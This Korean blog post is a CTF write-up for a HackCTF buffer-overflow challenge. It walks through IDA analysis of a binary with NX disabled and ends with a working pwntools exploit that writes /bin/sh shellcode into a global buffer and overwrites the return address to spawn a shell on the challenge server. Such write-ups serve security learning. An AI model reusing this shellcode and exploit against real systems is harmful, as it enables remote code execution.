본문 바로가기

study/CTF

[HackCTF] 내 버퍼가 흘러넘친다!!!

ctf.j0n9hyun.xyz/challenges#%EB%82%B4%20%EB%B2%84%ED%8D%BC%EA%B0%80%20%ED%9D%98%EB%9F%AC%EB%84%98%EC%B9%9C%EB%8B%A4!!!

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

1. prob1 파일의 보호기법을 확인하기

- NX : disabled -> stack에 실행권한이 존재한다는 의미

 

2. IDA로 디컴파일 해보기

- main() 함수 외에 전부 기본적인 함수들

- 7번째 줄 read() 함수로 name 변수에 50(0x32)Byte 만큼 입력값을 읽어서 넣어줌 -> name은 main() 함수내에 선언된 변수가 아니다.

- name 변수를 더블클릭해서 따라가면 .bss 영역에 존재하는 0x0804A060 주소를 가진 변수라고 알 수 있다.

- .bss 나 bss는 초기에 오직 제로 값으로 표시된 정적으로 할당된 변수가 포함된 데이터 세그먼트의 일부로 컴파일러나 링커에 의해 사용된다. 즉, 초기화되지 않은 전역 데이터를 위한 영역이다.

=> name 은 전역변수

- 9번째줄, gets() 함수는 입력으로 받은 값을 변수 s에 저장한다. s 버퍼에 입력을 받기 때문에 길이제한이 없으므로 버퍼오버플로우를 일으킬 수 있다.

=> s 는 지역변수, 버퍼오버플로우가 일어나는 시점

 

2. 스택 구조

- 32bit 쉘을 띄우는 코드는 25byte이기 때문에 s 변수에서 코드를 삽입해 실행시키기 어렵다.

=> name 변수에 쉘코드를 삽입하고 ret의 값에 name의 주소를 넣어서(버퍼오버플로우) 쉘코드를 실행시키도록 한다.

blog.kimtae.xyz/28

 

쉘코드 메모

32bit (1)가장 기본적으로 쉘을 띄우는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 \x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe..

blog.kimtae.xyz

3. exploit code 작성

- name 주소 : 0x0804A060

- 쉘코드\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3003)

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

name_shellcode_addr = 0x0804A060
payload = 'A'*24
payload += p32(name_shellcode_addr)

p.recvuntil("Name : ")
p.sendline(shellcode)

p.recvuntil("input : ")
p.sendline(payload)

p.interactive()

 

'study > CTF' 카테고리의 다른 글

[HackCTF] Basic_BOF #2  (0) 2020.09.25
[HackCTF] Basic_FSB  (0) 2020.09.23
[HackCTF] Pwnable - RTL_World  (0) 2020.09.23
[HackCTF] Pwnable - Basic_BOF #1  (0) 2020.09.23
[CTF] pwanable.kr_passcode (PLT와 GOT 개념 정리)  (0) 2020.06.12